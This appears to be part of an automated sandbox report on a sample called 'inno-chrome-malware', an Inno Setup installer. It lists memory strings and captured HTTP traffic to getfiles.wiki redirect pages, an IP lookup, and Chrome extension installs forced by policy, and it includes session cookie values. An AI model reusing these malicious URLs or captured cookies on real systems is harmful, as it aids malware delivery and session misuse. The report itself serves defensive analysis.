Source: inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getfiles.wiki/welcome.phpS
Source: inno-chrome-malware.tmp, 00000003.00000002.318583576.000000000089A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getfiles.wiki/welcome.phpph=
Source: inno-chrome-malware.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: inno-chrome-malware.tmp, 00000003.00000003.316180385.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000003.00000002.318180412.000000000018D000.00000004.00000010.00020000.00000000.sdmp, inno-chrome-malware.exe, is-OKOQ1.tmp.3.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: inno-chrome-malware.exe, 00000000.00000003.302574012.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.exe, 00000000.00000003.302218321.0000000002620000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000001.00000000.304272960.0000000000401000.00000020.00000001.01000000.00000004.sdmp, inno-chrome-malware.tmp.0.dr, inno-chrome-malware.tmp.2.dr	String found in binary or memory: https://www.innosetup.com/
Source: inno-chrome-malware.exe, 00000000.00000003.302574012.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.exe, 00000000.00000003.302218321.0000000002620000.00000004.00001000.00020000.00000000.sdmp, inno-chrome-malware.tmp, 00000001.00000000.304272960.0000000000401000.00000020.00000001.01000000.00000004.sdmp, inno-chrome-malware.tmp.0.dr, inno-chrome-malware.tmp.2.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8

Source: unknown

DNS traffic detected: queries for: getfiles.wiki

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /welcome.php HTTP/1.1Host: getfiles.wikiConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /r.php?key=pvwarw3 HTTP/1.1Host: exturl.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /redirect.php HTTP/1.1Host: getfiles.wikiConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /?format=jsonp&callback=getIP HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://getfiles.wiki/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /redirect.php?gjhagdjfbdjk=ODQuMTcuNTIuMTM= HTTP/1.1Host: getfiles.wikiConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://getfiles.wiki/redirect.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://getfiles.wiki/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://getfiles.wiki/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_272x92dp.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "104.0.5112.81"sec-ch-ua-platform-version: "6.0.0"sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-model: sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /images/hpp/swg-gshield-42px.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "104.0.5112.81"sec-ch-ua-platform-version: "6.0.0"sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-model: sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "104.0.5112.81"sec-ch-ua-platform-version: "6.0.0"sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-model: sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=bxjs&cad=&b=0&ei=T9niY5zxMZSF9u8Pq9CV4AU&zx=1675811153397 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "104.0.5112.81"sec-ch-ua-platform-version: "6.0.0"sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-model: sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.3R2S2iMRC9o.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo8-ukmJKpOYaCGRb909wNTowBRXFA/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /manifest?pwa=webhp HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "104.0.5112.81"sec-ch-ua-platform-version: "6.0.0"sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-model: sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "104.0.5112.81"sec-ch-ua-platform-version: "6.0.0"sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-model: sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/2x/googlelogo_color_272x92dp.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: www.google.comCookie: CONSENT=YES+GB.en-GB+V9+BX
Source: global traffic	HTTP traffic detected: GET /images/hpp/swg-gshield-42px.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: www.google.comCookie: CONSENT=YES+GB.en-GB+V9+BX
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /webstore/inlineinstall/detail/jncffhgjbmpggpdflbbkhdghjipdbjkn HTTP/1.1Host: chrome.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsBSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-GB&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsBSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Djncffhgjbmpggpdflbbkhdghjipdbjkn%26v%3D0.0.0.0%26installedby%3Dpolicy%26uc HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: jncffhgjbmpggpdflbbkhdghjipdbjknX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsBSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-GB&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiSocsBSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
